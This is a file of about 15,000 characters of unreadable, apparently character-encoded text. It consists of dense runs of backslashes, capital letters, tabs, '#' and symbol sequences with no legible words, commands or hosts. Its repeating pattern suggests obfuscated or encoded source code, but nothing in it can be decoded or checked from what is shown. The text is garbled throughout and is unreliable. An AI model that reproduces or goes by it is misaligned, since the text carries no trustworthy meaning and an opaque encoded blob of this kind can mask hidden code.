JNTEHDUTXO	I#UU\\\\v\\\\\\	KOM#TXO	I#P\\\TEHJQHIOUP\	UGv\v\XL\\A\\\\\\NEDNT
JNTDDKUP\\^^UGv\\\\\\T]XL\\  \\\\\]
JNTMLMDUTXLUU\\\v\T]#TE#
NMNMTMLNOUUU\\\v\\LHMMJKTLLIN	TMLNHUP\LLIN	TMLNIUUGv\\\\#TE#
NMNMTMLNJUP\\\\MP\\TLHOWLNUUGvvv\v\v\\\\\\TXL\ZZ\LLIN	TMLMDUTXLU\\ZZ\#JO
TMLMEUTXLU\B\\THDDWMNU\ZZ\\#JO
TMLNKUTXLU\\@A\TMLHDHKEWEKU\\ZZ\]	HLOLI
TXLU\\\\ZZ\LEIOTXLUU\\vSS\+,\JRJ\\\\vvX	I#\\\\A\NMK#TXLUGv\\\\\\\TX	I#\\\\]AA\\\^^\\\\ZZ\\\
#TX	I#P\\\\E#NDNTUP\\\[@[UU\\\\v	Gv\vvv\X#	I\\\\A\\
JNTMLNDUTEIITUU\\\\\R\
JNTMKEU\R\\\\LLIN	TEKEUTEIITUP\\
JNTEDIUUGv\\\\\X	INN
O\A\<LLIN	TDKLUTX#	IU\\C\\\
JNTJJNUTTU\<E#
NMNMTMLNEUTX#	IUU\F\^^Gv\\\\\\TX	INN
O\\\\]AA\^^\ZZ\\
JNTMLNMUTXLU\AAA\\\X	INN
OU\\vvv\\	Gv\\vvvvODLTEIITUP\\\\\TOIIWJIUUGv\\\XM\\\\A\HH#EOMTEIITUP\\DENJNHTXLUUGv\\\\\\\TXMU\\v\\\\\


	MMNTEIITUUGvODLTEIITUP\TNLNWELUUGv\\\\HDIEL#	TEIITUUGvv\L	DINOOT	UGv\JO#	#ET	UGv\\\\\\\MIJN#TEIITUUGv\\TLLIN	TMLOLUTLLIN	TMLNNUUU\\\vv#TLLIN	TMLLEUP\\\\MP\TOIJMWOEUUGv\v\\\\\TE#
NMNMTMLOMUTLLIN	TMLONUUU\v\\\\#TLLIN	TMLOOUP\MP\TMKNJWKHUUGv\v\\v\\\\T(\\\\XKU\\\\v\\LHMMJKTE#
NMNMTMLNHUP\XKUGv\\\\\\\T9\\\\XKU\\vvvvvv\v\	\\\\\	E
NETUv\\vvv\
KOHJJOT
JNTMLOHUP\\\#JO
TMLOIUUGv
KOHJJOTE#
NMNMTMLOJUP\\\E#
NMNMTMLOKUUGv\T#JO
TMLODUT
JNTMLOEUUU\\v
#TLLIN	TMLHLUP\LLIN	TMLHMUUGv\\\\
#T
JNTMLHNUP\\
JNTMLHOUP\\\\TKWOUUGv\\\\\
#T
JNTMLHHUP\
JNTMLHIUP\\\TMWEUUGv\\\v\v	\\\LLL
LNOETUv\\\v\\\\vSS\+,\>?F\	\vv\\\\\\X\\\A\\\\\X;03>=0/'LLIN	TMLHJU!Gv\\\XODKDN#\A\\\\XQB\\\\\R\\\\\
JNTMLHKUGv\\\X

	MLN\\A\[/[\\\R\\\LLIN	TMLHDU\R\\XQB	\\\\\R\\\\#JO
TMLHEU\\R\\XQB	\\\R\\
JNTMLILUGvvvv\\\	\\XQB#	TXQBTX

	MLNP\\XODKDN#P\\LLIN	TMLIMUUUGv\\\\\\\\\\T(\\\XKU\\\\\v\\\\\\LHMMJKT
JNTJHDUP\\\XKUGv\\\\\\\\T9\\XKU\\\\v\\vv\\	\\TUGv\\v	\##OJ#ENNTXKIUv\\vSS\\Q		vvX
O\\\A\\\\TUGvXLEHH\\\A\\	\\TX
I
O
	U\vX
I
O
	'LLIN	TMLINU!\\\\A\^^Gv\\\	\\X
I
O
	Gv\\Gv\\\\\v\\\\T]\\
JNTMLIOUT
JNTMLIHUU\\\  \\]\LLIN	TEKKUTE#
NMNMTMLIIUUU\v	\\\X
OGv\\v\\\\T]\\\E#
NMNMTEJLUTXKIU\\\  \\TXKIUU\\\\v	\X
OGv\vXMNLJ\A\LLIN	TIIHUTU\\\W\\\\TLWLHU\\V\\\\TJHNNDWNNMKNUGv\X#\\\A\\LLIN	TMLIOUTLLIN	TIMHUU\\\\\ZZ\\\\\\#TUGv\X#NN	\A\\\X#\C\\\LLIN	TMLIJU\F\\\\E#
NMNMTMLIKUGvXDLHD	\\A\\\\\\X#\\\C\\\TTLLIN	TMLIDUU\\\\C\/9?).9#=)(4#?33759\\F\\\\^^U\\\F\\TTLLIN	TMLIEUU\\\\\C\\=)(4#?33759\\\\F\\^^UGv\\\\\\\\XE\\\A\\T
JNTMLJLUU\C\03;;98#52#?33759\\\F\\\^^Gv\\\T]\XDLHD	\\\  \]\XEU\v	\\X
OGXOND	AIOVKGXDHAXOND	QMLGv\v\\\X	ME\A\\TLLIN	TMLJMUU\\\\ZZ\\\?33759#831=52\\\C\#JO
TMLJNUT?33759#831=52P\\[R[U\F\\KJKLHNET^^UGv\\\XHO#MMJKEO\A\\\\\\TE#
NMNMTMLJOUU\\C\\?33759,=(4\\\\F\\[S[Gv\\XLKO
#N\A\T#JO
TMLJHUU\\C\\\\\=8152#?33759#,=(4\\\F\E#
NMNMTMLJIUGv\X
	
#D\\\\\A\\X#\\\\\C\\\\
JNTMLJJU\\F\\LLIN	TMLJKUGv\X	OKHKJ\A\^ ^Gv\\
KOHJJOTLLIN	TMLJDUP\\\XLEHHP\LUGvXNEL##	HK\A\\	E#LKDTE#
NMNMTMLJEUUGvX
NNLMHLJ#\\A\\\E#
NMNMTMLIOUT#JO
TKJOUU\\C\<#TXNEL##	HKP\TUU\\\\F\\\TUGv\\\\\\T]#JO
TEJLUTX
NNLMHLJ#UU\\\X
NNLMHLJ#\\\\A\\\TUGv\\\\\\\X	EM#

\\\\\A\GvXI	
OH
E\\\\A\\LGv\\\\\TXKI\\\\\XH#ONHNMU\\\v\\\\\T]\\#JO
TEOIUTXH#ONHNMU\\\\\  \\\]\\XH#ONHNMQB58\  \]\\\\XH#ONHNMQB	#U\\v\\\	Gv\v\\\\TXI	
OH
E\\BA\\\\\TMNN"MNMUU\\\\v\GvvSV\\\VSvv\\X
HHK\A\TU\\XH#ONHNMQB	#Gvvvv\\\\TTX
NNLMHLJ#'X
HHK!U\\\\\ZZ\\TU\\\X
NNLMHLJ#'X
HHK!\\B\\\\#JO
TIIHUTU\\\\\W\N\\\V\\\TDJOHDWINUU\\\\X	AKJMNGXKNDJ#AX	YMNGv\\\\	Gv\\v\\##TXH#ONHNMQB58P\LLIN	TMLKLUUGv\\\\\XI
H		\A\#	#TXH#ONHNMQB58P\\\LLIN	TMLKMUP\\	UGv\\\\\\\TLLIN	TEJLUTXI
H		U\\\\ZZ\\LLIN	TKEDUTXI
H		U\BA\TEWMUU\\\\vX	LEI
IMI#\A\\TUGvvvv\\\\\\\\\TXI
H		\\\\\XLNIE\\\\AB\\\XEJOH	NU\\\v\\\\\\\\TTXEJOH	N'LLIN	TMLKNU!U\\\\\ZZ\\XEJOH	N'LLIN	TMLKNU!\B\#JO
TIIHUTUU\\\\v\\\\\\\\X	LEI
IMI#'XLNIE!\A\\\XEJOH	NGv\\v\\\\v\\\T#JO
TMLKOUTX	LEI
IMI#U\\]AA\\\#JO
TMLKOUTXI
H		UU\\\v\	#	#TXH#ONHNMQB58P\\\#JO
TMLKMUP\\\X	LEI
IMI#UGv\\\\\\\vvv\v\\\\\\##TXH#ONHNMQB58P\#JO
TMLKLUUGvvXDO
M\\A\\LLIN	TOLDUTTLLIN	TMLIIUP\\\
JNTMLKHUUP\\\\\\XH#ONHNMQB58UGv\X#
DI\\\A\\\\\XDO
MQBTXMNLJUGvX	EH\\\A\TUGv\X	EH'!\\A\X	ME\\R\\\X	OKHKJ\\R\\LLIN	TMLJJU\\\R\\X	OKHKJ\\\\R\XHO#MMJKEO\\\R\\\\\X	OKHKJ\R\X
	
#D\\\R\\X	OKHKJ\R\XMNLJ\R\X	OKHKJ\\R\XE\R\\\\X	OKHKJ\\\R\\\#JO
TMLKIUTXH#ONHNMQB58P\\XMNLJP\\\\
JNTMLKJUP\\\X#
DIUGv\\\\\\TXDLHD	U\\v\\X	EH'!\\\\A\\\X	ME\\\\\R\\X	OKHKJ\\\R\\\\
JNTMLKKU\\\\\R\\\\\X	OKHKJ\R\\\\XLKO
#N\\R\\\X	OKHKJ\\R\X
	
#D\\\\\R\\\X	OKHKJ\\\R\XMNLJ\\\\\R\X	OKHKJ\\R\XDLHD	\\R\\X	OKHKJ\\\R\\\\LLIN	TMLKDUTXH#ONHNMQB58P\\XMNLJP\\\\X#NN	P\\\\X#
DIUGv\\\vSS\.\\F\	\Q		vv\X
O'XH#ONHNMQB	#!\\\A\\X	EHGvvvv\\\\\X
NNLMHLJ#'X
HHK!\A\\\\XMNLJGv\X	EM#

\\A\\	Gv\XI	
OH
EWWGv\v\\\\TX	EM#

\\\\ZZ\LLIN	TMLKEUT
JNTDKEUUU\v\\\\<	#TXNEL##	HKP\X
NNLMHLJ#P\\\\
JNTDDDUUGv\\\v\\\\\\\\\T(\\\\\XKU\\v\\\\LHMMJKT#JO
TMLDLUP\\XKUGv\\\\\\\\T9\\\XKU\\v\\\\\vSS\\\vvv\\\
#TLLIN	TMLDMUP\\XLEHHP\LUGv	\\\X
OGv\\\\v\\\\	\\EHDHM#	KNTXI#HUv\\vSV\\\VSvv\\\\TE#
NMNMTMLDNUTXI#HUU\\	\\XI#HGvvv\\\\T#JO
TEJLUTXI#HU\\ZZ\\\TXI#H'[[!U\ZZ\\E#
NMNMTMLDOUTXI#H'[[!UU\	\XI#H'[[!Gv\\\\	\^^Gv\\v\\\\	\\\\LJ#NKKTXKIUv\\\\v\X\\\\\A\\\\TUGvXHNH\\\\A\\TU\NEDNTE#
NMNMTMLDHUP\\\\\^^UGv\\\\XINI\A\\\TU\NEDNT
JNTMLDIUP\\^^UGv\\\\\\\TXHNH\\]AA\\\^^\ZZ\XINI\\\\]AA\\\^^U\\\XDK	A,4,#52(#1=$S,4,#52(#1=$GX	LAXDK	WKLGv\\X'XHNH!\\A\\\\\\XINIGv\\\vvvvX
N	
\A\\NEDNT#JO
TIDKUP\TUUGv\\\\\\\\TLLIN	TMLDJUTX
N	
UU\\\\vSS\\\vX	M	MNANMJ MJEGXH

AX	M	MN"MILGv\\\TX
N	
\\\XELII\\\\\\AB\X	KOLE#U\vvvvX#HKD\\\\A\\\EHDHM#	KNTX	KOLE#UGvvv\\\\\\TX#HKD\\]AA\^^U\X'TU\XELII!\\A\\X#HKDGvvSS\Q\vv\\\v	\\\\\XGv\\\\\v	\\\HMKTXELIIP\\\\\XHKKP\\\\\XKEI
Uvvvv\\v\\\\\\\\\T]\\LLIN	TEOIUTXELIIU\\\  \\]\\LLIN	TMLDKUTXELIIP\E#
NMNMTMLDDUUU\\vvv\	\\\XELIIGv\v\\\\\\\\T]\XELIIQB#TLLIN	TDMKUUU\\v\\	\\\\XELIIGv\\\\\\v\\\\\\T]\\\LLIN	TMLDEUTXKEI
U\\\\  \\\\\]\\\XKEI
U\\v\	\\XELIIGv\\\\\vX
N	
\\\\A\\\\NEDNTLLIN	TIDKUP\\TUUGv\\\\\T]\\\#JO
TMLDJUTX
N	
UU\vvvv\X
N	
\\A\\\\TUGXILHNAMOWIIGXHLAXILHNQNMGvvvv\\\\\\\v\\TX
N	
\\\\\\\\\\X	D#I	K\AB\\\\XNDLINU\\vX		ODD
\A\\\
JNTMLDJUTXNDLINU\\\\\\ZZ\\\TXNDLIN'
JNTIENU!U\C\\TU\\\XNDLIN'#JO
TMLELU!\F\\\LGv\\\\\\TX		ODD
\\ZZ\X		ODD
\@\\E#
NMNMTIIHUTU\Q\\\\\TLNOKMKWLINEUU\\	TX
N	
'X	D#I	K!UGvvX
N	
'XELIIQB	#!\\A\\\T[[\\AB\\XKEI
P\\\\E#
NMNMTMLEMU\\\AB\\\\LLIN	TIIHUTUP\\LLIN	TIDEU\\\AB\\LUGv\D#NEKT#JO
TIDKUP\X
N	
P\\\LLIN	TMLENUUGv\\\\\\T(\\XKU\\\\v\LHMMJKTLLIN	TMLEOUP\\\\XKUGv\\\\\\T9\\\XKU\vSV\
Q\\VSvv\\v\\\\\\	\\\\XELIIGv\\\\\v\\\\	\J#KHTXHENEP\XELIIUv\\v\\\\vvvv\\\\\T]
JNTMLEHUTXHENEU\  \\\XHENE\\\AAA\^^U\	Gv\\\\\\vv\\\X
N	
\\\A\\\NEDNT
JNTMLEIUP\TUUGv\\\\\T]
JNTMLDJUTX
N	
U\\\\  \\\\\]TX
N	
'XHENE!UU\\	Gv\\\\\\XK\A\X
N	
'XHENE!Gvvv\\\\\\\\T#JO
TMLDJUTXKU\\ZZ\TXK'E#
NMNMTIDEU!UU\\\vvvv\\\\\X
N	
'XHENE!'#JO
TIDEU!\\\\A\\\\\MGv\\D#NEKT
JNTMLEIUP\X
N	
P\\
JNTMLEJUUGvv\\\T(\\\X
DIU\\\\\vSS\
\Q	vv\\\\LHMMJKT
JNTMLEKUP\\X
DIUGv\\\\T9\\\X
DIU\\vvv\\\v\\vvvv\\\\	\\\\\IO	
MMDTXKIUv\\v\\T]\\E#
NMNMTMLDJUTXKIUU\\v\	\GvvvvvXNN	E\A\LKKHJ	
OHTUGv\\\\TXKI\\\\\\\XH#ONHNMU\\\vvv\\TXNN	E\\\\XODMM#U\v\T#JO
TKKUT#JO
TMLEDU\\R\\E#
NMNMTEJOUTXODMM#P\[S[U\\\R\
JNTMLEEUP\XH#ONHNMQB	#UU\\\v\\\	\\\\XH#ONHNMGv\\\\v\\vSS\\Q\\?\	vv\\\\\\\vvvv\	\\Gvv\v\\\\\	\\\ENMITXMKP\XHLMOHOJKOUv\\\\\\\v	\\\\#JO
TMLMJUT
JNTMLNMUTXMKUP\\\LP\\\XHLMOHOJKOUGvv	\\\\
KLII##TXIKNHMUv\\\vvv\\\\\\T]#JO
TMMLLUTXIKNHMU\\\\\\  \XIKNHM\AAA\\^^\\  \\]TLLIN	TEMMUUU\\\	\Gv\\\\vv\\\\XL#\\\A\	Gv\\\\\TXL#\\\AAA\\\\	U\\\vv\\\XL#\\\A\\\\\Tv\\\ENMIT=>/,=(4\\\R\\#JO
TMMLMUP\TH@@MUU\\\\R\LLIN	TEDIUPvENMIT=>/,=(4\\\\\R\
JNTMMLNUP\TMLQNUU\\\R\
JNTEDIUPvv\UGvv\vv\\\TXL#\\\\X
I#
U\\\v\\\\\\\TLLIN	TMLMKUTXIKNHMP\\X
I#
U\\]AA\U\	\	Gvvvvv\\\\\\\	\\\\Gvvvv\\\\vvv\\\	\OMLNTXHLMOHOJKOUv\\\vvvv\	\ENMIT	TTU\\\\\LLIN	TKKOUTUP\\\\\	UP\XHLMOHOJKOUGvv\	\\DENJLNOTXMIUvvv\\\\\v\\\\\\T]
JNTMLKEUT
JNTKJOUUU\\\\	\Gv\XHD\\\A\\#T#JO
TMMLOUP\TUUGv\\\\\\\\T]#JO
TMLDJUTXHDUU\\	\\\\\Gvvvv\\XNL
N		\\\A\\\#JO
TMLNMUTXMIUGvvv\\TTXHD'XNL
N		!UU\	\\\Gvvv\\\\\X#HKD\\\A\\LLIN	TNLJUT[ [P\\TU\XHD'XNL
N		!UGv\\\\\X	LI\\\\\\A\\\TX#HKD'M!U\\\\C\\TU\\X#HKD'M!\F\\\LGv\\\\\\	\\\\TX	LI\\\\B\\\\\L\\\\ZZ\\\\#JO
TIIHUTU\\Q\X	LI\\\\@\\TDJOIOWHKUUGvvv\\\\\\v\	\MI#DE	LTXMIP\\XKDEIUv\\\\v\\\\\\\\\T]
JNTMLKEUTE#
NMNMTKJOUU\\  \\]
JNTMLKEUT#JO
TDKEUUU\	Gv\XHD\\A\\\\\#T
JNTMMLOUP\\\\\TUUGv\\\\T]LLIN	TMMLHUTXHDUU\\XHD\\\A\\\\TUGv\\vvXNL
N		\\A\\\
JNTMLNMUTXMIUGv\\\\\\T]XKDEIU\vSV\\	
Q\VSvv\\\\\TTXHD'XNL
N		!UU\\\\XHLIEAQJEDGXM#OKE
ATXHLIEBLUCXHLIEFQXHLIEGv\\\\	TXHD'XNL
N		!UGv\\\	#T#JO
TMMLOUP\XHDUGXD#ATLMWLHUGXE	KEMAXD#YOGv\\v\\	Gv\v\X
\\A\\LGv\\\\T]TXHD'XNL
N		!UU\\\\XHOA,4,#1=63.#*9./532GXOL
AXHOVNGv\\\\\\X#HKD\A\\LLIN	TMMLIUT[ [P\TU\\XHD'XNL
N		!UGv\\\\\\\X
\\\A\TU\\X#HKD'L!Gv\\\\\\v\\\X
WWGvX	LI\\\A\TX
\\\\\\BA\\\TNII"NINUU\\\\C\\\\\E#
NMNMTIIHUTU\\\\\F\\\\\LGv\TXHD\\\\\XOHLO\AB\\\\XI
LLMIHU\XJ
KIADKVIGXJDDMAXJ
KIQOKGv\XIKNHM\\A\\\#JO
TMMLIUT[ [P\\TU\XI
LLMIHUGv\\\\\\T]TXIKNHM'M!U\\\\ZZ\\#JO
TIIHUTU\Q\TU\XIKNHM'M!\\\B\\\TMKNKEJWHUU\\\\\\	TXHD'XOHLO!UGv\vvvv\\\\\\XHD'XNL
N		!\A\\\X
\\\\R\\\[ [\R\X	LIGv\\\\\\	#T
JNTMMLJUP\\\\XHDUGv\\\vvv	\KJLHJITXMIP\\XL
LUv\\vv\\\T]LLIN	TMMLLUTXL
LUU\\	Gv\\\XLJ	\\A\\\\\
MO	L	IMIT#JO
TMLNDUTXMIUP\\\\
JNTMMLKUUGv\\\\TXLJ	\\\]AA\\U\v\\\\\T<E#
NMNMTMMLDUTXLJ	P\\\\XL
LU\\\AAA\E#
NMNMTMMLEUTXL
LU\\\ZZ\\IHMOTXLJ	P\\\\XMIUU\	Gv\\\\\NN#		TXLJ	UGvvv\\\\\v\\\\\\<LLIN	TMMLDUTXMIP\XL
LUGvv\	\HH#EOMTXMIP\\\\XOUv\v\XJEI#H\A\\
JNTMMMLUTXMIUGv\\\\\\\\T]<LLIN	TMMMMUTXJEI#HUU\\\vLHMMJKT
JNTMMMNUP\E#
NMNMTMMMOU\R\\\\\\
JNTMMMHUTXMIUUGv	\\\Gvvv\\\\\\v\\\\\XO#
O#\A\TE#
NMNMTMLMJUTXMIP\QTNOK"NOOUU\\\\\AAA\\#JO
TEDIUUGv\\\\TXO#
O#\\\\\ZZ\\\\\\]LEIOTXOUU\\\v\\\LHMMJKTLLIN	TMMMNUP\\LLIN	TMMMIU\\\\\R\\\#JO
TMMMHUTXMIUUGv\\\	\\Gvvv\\\\\v\\\\\\TXO#
O#\\\ZZ\DENJLNOTXMIUU\\	\\\Gv\\XJ	J\\A\Gv\\\\\\\T<E#
NMNMTMMMJUTXMIUU\\\\XJ	J\\A\\	G\v\\\XL
L\A\\\\	Gv\\\XKIH	\A\\Gv\\\XIOD


\\A\	Gv\\\\\\\\\\\\T<#JO
TMMMKUTXMIU\\ZZ\\]<E#
NMNMTMMMDUTXMIUU\\\\vSS\\	vv\\\\\XKIH	\\\\\A\\\	Gv\\\\\\XIOD


\\\\A\\<TXMIUGv\\\\\\\\\\TXIOD


\\\\AAA\U\\XIOD


\\\\\\A\\	Gv\\\\\\\\\T<
JNTMMMEUTXMIU\\@A\\\\TLMILLWLMKMILUU\\\XL
L\\\A\\\<LLIN	TMLNEUTXMIUGv\\\\v\\\\\\T]E#
NMNMTMMNLUTE#
NMNMTNHUUU\\X


AOIWHOGXJHAX


QNDGv\LHMMJKTE#
NMNMTMMNMUP\LLIN	TMMNNU\\R\#JO
TMMNOUTXMIUUGv\\	\\Gv\\v\\\\\XKLID\A\\\Gv\\\\X#MMN#\\\\A\\Gvvvv\X#\\\\\\A\\
JNTMMLEUTXOUGv\\\\\TXKL\A\\\\\LG\XKL\\@\\\\\\NG\\XKLWWU\\\\vvvvXKLID\A\\
MO	L	IMITXJEI#HP\LLIN	TDODUUGv\\\\\\\TXKLID\]AA\\\U\vX#MMN#\A\\Gv\\\\XIKNHM\\A\\<
JNTMMOUTXKLIDP\\\\\#JO
TMMNHUUGv\\\\\\TXIKNHM\\\\\]AA\\U\\vvvXIE#JEN\\A\LGv\\\\\\TXIE#JEN\\\\\@\X#U\\\\\v\\\XHMI\\\\\A\\\<LLIN	TMMNIUTXIKNHMP\\\\\LLIN	TMLMJUTXOP\XIE#JENUUGv\\\\\\TXHMI\\\\AAA\\\\\\  \\XHMI\\AAA\\\LU\\\\\Gv\XIE#JEN\\WA\XHMIGvv\\\\\\\\vSS\	
\vv<	TXIKNHMUGv\\T#JO
TMMNJUT
JNTMMNKUUU\<TXIKNHMUGv\\\\\\<TXIKNHMUGv\\\\\TXIE#JEN\\\AAA\X#U\X#MMN#\\\A\XIE#JENGv\\\\\\\\\\v\X#MMN#\\A\<E#
NMNMTMMLDUTXKLIDP\\XOUGv\\v\\\\\\\\TX#MMN#\]AA\\\\\\ZZ\X#MMN#\\\AAA\\X#U\\Gv\NN#		TXKLIDUGXHLN#AHHVDGXEO#IOAXHLN#QHHGv\\\XKLID\\\A\\Gvv\\\\v\\\TXKLID\AAA\\U\\v\\LHMMJKT
JNTMMNMUP\E#
NMNMTMMNDU\\R\\\
JNTMMNOUTXMIUUGv	\\\\Gv\\\\\\v\\\\\\\TX#MMN#\\AAA\\\\\\\  \\X#MMN#\\\\]AA\\X#U\\vvvv\\\\LHMMJKTE#
NMNMTMMNMUP\\\E#
NMNMTMMNEU\\R\
JNTMMNOUTXMIUUGv\\\NN#		TXKLIDUGv\\\	\Gv\\\\vSS\<Q\QQvvvv\\TXIOD


\\]AA\	U\<#JO
TMKUTXKLIDP\XIOD


\Z\\\THNKWDHUUGv\\\\\XL
\A\IHMOTXKLIDP\XMIUGvv\\\T]XL
\\\\ZZ\\XKIH	\ZZ\\]XJ	JU\\v\\\\\\\\T<#JO
TMMOLUTXMIUU\\\\\ODLTXMIP\\\\\\TOHDWKNUUGvvvvXE
MEE\A\\\XMI\R\#JO
TMMOMU\\\\R\\\\#JO
TKKOUTTELHWEJUP\\\TEEOJWJOUUGv\\\TIHMOTXMIP\\\\\XE
MEEUU\v\\\\\XL
\\\A\IHMOTXKLIDP\XMIUGv\\\\TXL
U\\v\\\\NN#		TXE
MEEUGv\\\\\\\\XOL
AJLILGX
#	AXOL
YNGv\\\\\T]IHMOTXE
MEEP\\\XMIU\ZZ\\\\\]LMIKETXE
MEEP\\XMIUU\\\\\v\KJLHJITXMIP\XL
LUGv\\\\\\v\\\\T]<
JNTMMONUTXMIUU\\\\\v\KJLHJITXMIP\XL
LUGv\vv\\\v\\\\\v\\v\\\\\\\\\T]XL
\\\\\ZZ\\\]XJ	J\\\\ZZ\]XO#
O#U\\\\\v\\\\\T<#JO
TMMOOUTXMIUU\\ODLTXMIP\TKIJQOOJUUGv\\\TLMIKETXKLIDP\\\XMIUU\vXL
\\\\\\A\\	Gv\\NN#		TXKLIDUGv\\\\\\\v\vvv\\\\T]XL
U\\\\vSS\+,\=
\(F\\
vXIMAQEONGXJEJ	DNMATXIMBLUCXIMFQXIMGv\\\T<#JO
TMMOOUTXMIU\ZZ\\\\TU\\<LLIN	TMMMEUTXMIU\\]AA\\X#U\v\\\XJNKE\A\\\\\\<
JNTMLNEUTXMIUGv\\\\\\\\T]
JNTMMLLUTXJNKEU\  \\T#JO
TMMLLUTXL
LU\\ZZ\\\XJNKE\\\\]AA\\\XL
LUU\\\\v\\\\\\\TE#
NMNMTMMLLUTXL
LUU\\KJLHJITXMIP\\\\XL
LUGv\\\\\T]XKIH	U\\\\NN#		TXMIUGv\\\\v\	TXJNKEUGXAKGX#HNATXBLUCXFQXGv\\\vSS\\
\\+,\,\0vvv\\\\T]<#JO
TMMOOUTXMIUU\\\\\v\KJLHJITXMIP\\XL
LUGv\\\\\\\v\\\\LHMMJKT#JO
TMMNMUP\
JNTMMOHU\\\\\R\\\\\E#
NMNMTMMNOUTXMIUUGvNN#		TXKLIDUGv\\	\\Gv\\\v\\\<T	P\XMIUGvXNHHI\\A\Gv\\\TX#\@A\\\\\\TNLEKLIDWEHUU\v\\X#O\A\\\\\<E#
NMNMTMLNEUTXMIUGv\\\\XNHHI\A\\\\\TE#
NMNMTMMLLUTX#OU\\\\ZZ\LLIN	TMMOIUTX#OU\\\\AAA\\\\X#\\\ZZ\\\LLIN	TMLNMUTX#OU\AAA\\#JO
TMLNMUTXOUUGvvvvvv\\\\\\\\\\\\v\\\XID
#J\\A\\\#JO
TMMOJUT
JNTMMOKUU\\C\\\<#TLLIN	TMLNMUP\XMIU\\\F\\\Gv\T
JNTMMLLUTXID
#JU\ZZ\\XID
#J\\]AA\^^U\XNHHI\A\TXID
#J\\AAA\\\\\\#JO
TMLNMUTXOUUGv\\\v\\\XDOK\\\\A\\\\\<#JO
TMMMEUTXMIUGv\TXDOK\AAA\\\X#U\vX#IHKD\\A\<
JNTMLNEUTXMIP\\\P\\	P\\LP\THLHNWIHUUGv\\\\X#\A\\\<
JNTMLNEUTXMIP\\P\\\	P\\\X#\\Q\\\\TJOONQNNOJUUGXMM
M
AODVEGX
ONNEAXMM
M
QHLGvvvv\\\\\XNHHI\\A\\\T#JO
TMMLLUTX#IHKDU\\\\ZZ\\\\
JNTMMLLUTX#U\\ZZ\\\\\\X#IHKD\\\\AAA\\\\E#
NMNMTMMODUTXOP\\\LP\\\THLIDWODUU\\ZZ\\\X#\\AAA\E#
NMNMTMMODUTXOP\\X#\\\\\Q\\\\THLMJWDLUUUGvv\v\\\vvv\\v\\\T]XNHHIU\\v\\\\\\\LHMMJKT
JNTMMOEUP\E#
NMNMTMMHLU\\\R\
JNTMMNOUTXMIUUGv\\\\\\TXO#
O#U\\MI#DE	LTXMIP\\	UGvvvv\\T#JO
TMMHMUTXL
LUU\\\\vv\\XJMDMNO\A\\\E#
NMNMTMMOJUT
JNTMMOKUU\\\\C\\\\\\<#TLLIN	TMMHNUP\\\\\\XMIU\\\\\F\\Gv\\\\\\TLLIN	TMMHMUTXJMDMNOU\ZZ\\\\XJMDMNO\\\]AA\\\\\\^^\ZZ\XJMDMNO\\]AA\
JNTMMHNUTXOU\\ZZ\\\\\\XJMDMNO\]AA\E#
NMNMTMMHNUTXL
LUU\\v\LHMMJKT#JO
TMMOEUP\\
JNTMMHOU\R\\\E#
NMNMTMMNOUTXMIUUGv\\\\vv\\\	\\\\Gvv\vvvvX#HOO\\\\A\\\
MO	L	IMITXJEI#HP\\E#
NMNMTDODUUGv\TX#HOO\\]AA\\\\ZZ\\\<LLIN	TMMHHUTX#HOOP\XL
LU\AAA\\\
JNTMMOIUTXL
LUU\\\v\\\\\\T]IHMOTX#HOOP\\\XMIUU\\\\\v\\\\\\T<E#
NMNMTMMOOUTXMIU\\\ZZ\]XJ	JU\ODLTXMIP\\TOELWOLUUGvv\\\T]XJ	J\\\\ZZ\LMIKETX#HOOP\\\\\\XMIUU\\\v\\\\NN#		TX#HOOUGv\\\\\\\vv\\\<LLIN	TMMHHUTXMIP\\\XL
LUGvNN#		TX#HOOUGv\v\v\\\\\v\\TX#HOO\\]AA\U\\\\\NN#		TX#HOOUGv<#JO
TMMHHUTXMIP\\XL
LUGvvv\\\\\vSS\	\vvMIJN#TXMIUGv\\\T]XKIH	U\\\v\\\\\NN#		TXMIUGvv	\\\Gvvvv\\\vvv\\\MIJN#TXMIUGv


	MMNTXMIUGv\\\ODLTXMIP\\\TONEWEMUUGvv\\\\\\TXO#
O#U\\MI#DE	LTXMIP\\UGv\\\\\\	\\\\\\	Gv\\v	\\\JLIHM
NLOJTXMIP\\\\\XMHUvvv\\\X	LNJ\\A\\\\\\^@C ^Gv\T
JNTMMHMUTXMHU\\ZZ\\XMH\]AA\^^\\\ZZ\\LLIN	TMLMKUTXMHP\\\\E#
NMNMTMMHIUU\\\\\]AA\\\\ZZ\\LEIOTXMHUU\\\X	LNJ\\\\\\A\\\\XMHGv\\\T<
JNTMMHJUTXMIUU\\\\vSS\
\vXE
DO#
HLAQEIGXN#MM#M#ATXE
DO#
HLBLUCXE
DO#
HLFQXE
DO#
HLGv\\\\\X	J#EO#NJ\\\\A\\\\<
JNTMLNEUTXMIUGv\\\TLLIN	TMMHMUTX	J#EO#NJU\\ZZ\#
	TX	J#EO#NJU\AAA\\\X	LNJU\\\	Gvv\\T]HH#EOMTXMIP\X	LNJUU\\\v\\\\XKLL#O\A\\\<#JO
TMLNEUTXMIUGv\\\\\\\T]TE#
NMNMTMMHMUTXKLL#OU\\\\ZZ\#
	TXKLL#OU\\AAA\\\\X	LNJUU\\\\\<E#
NMNMTMMHHUTXMIP\\\\\X	LNJUGv	TXKLL#OUGv\v\MIJN#TXMIUGvv\\\\	\\\\#IDEDIETUv\\\\\v\\\\\\\\\\\\TE#
NMNMTMMOJUT#JO
TMMHKUU\\ZZ\\M	OJTUU\\	\\\\	Gvvv\\\T]LLIN	TMMOJUT#JO
TKKLUU\\\\\  \\\]LLIN	TMMOJUT#JO
TKKMUUU\\\\\\	\\	Gv\XOINLOL\\A\\\\#	T[S[UGv\XOINLOL\\\\\RA\TE#
NMNMTMMHDUTXOINLOLP\\\[C[U\\\AAA\\\\\\\C\\\[C[\F\[Z[U\\R\\E#
NMNMTMMHEU\R\E#
NMNMTIIHUTU\R\\\\LLIN	TKKOUTTKD"HNUP\TMMJOQMJHUUGv\XLOMOE\\\A\#JO
TMMILUTXOINLOLP\\\TE#
NMNMTDEHU\AB\TN@@NUP\\E#
NMNMTKJLU\AB\P\\\LLIN	TMMIMU\\\\\\AB\\NP\\
JNTONDU\AB\\TLLIN	TMMINU\\\\AB\\\LLIN	TMMIOUUUUGv\\\\\T#JO
TMMOJUTLLIN	TOMOUU\\\\\\ZZ\\\\##TXLOMOEUU\\v\T
JNTMMIHUTE#
NMNMTKKKUUU\E#
NMNMTMMIIUTMUGv\XLOMOE\\A\\\\\E#
NMNMTMMILUTXOINLOLP\\\T#JO
TDEHU\AB\\TMDN"MELUP\E#
